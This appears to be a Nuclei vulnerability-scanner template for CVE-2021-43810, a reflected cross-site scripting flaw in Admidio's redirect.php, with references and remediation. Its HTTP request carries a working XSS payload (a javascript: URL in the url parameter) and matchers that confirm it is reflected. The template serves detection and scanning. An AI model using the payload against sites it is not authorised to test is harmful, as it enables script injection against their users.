id: CVE-2021-43810

info:
  name: Admidio - Cross-Site Scripting
  author: gy741
  severity: medium
  description: A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The reflected cross-site scripting vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious scripts.
  reference:
    - https://github.com/Admidio/admidio/security/advisories/GHSA-3qgf-qgc3-42hh
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43810
    - https://github.com/Admidio/admidio/commit/fcb0609abc1d2f65bc1377866bd678e5d891404b
    - https://github.com/Admidio/admidio/commit/c043267d362f7813543cc2785119bf3e3e54fe21
    - https://github.com/Admidio/admidio/releases/tag/v4.0.12
  remediation: Upgrade to version 4.0.12 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-43810
    cwe-id: CWE-79
    epss-score: 0.00513
    cpe: cpe:2.3:a:admidio:admidio:*:*:*:*:*:*:*:*
    epss-percentile: 0.73678
  metadata:
    max-request: 1
    vendor: admidio
    product: admidio
  tags: cve,cve2021,admidio,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/adm_program/system/redirect.php?url=javascript://%250aalert(document.domain)'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'please click <a href="javascript://%0aalert(document.domain)" target="_self">'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200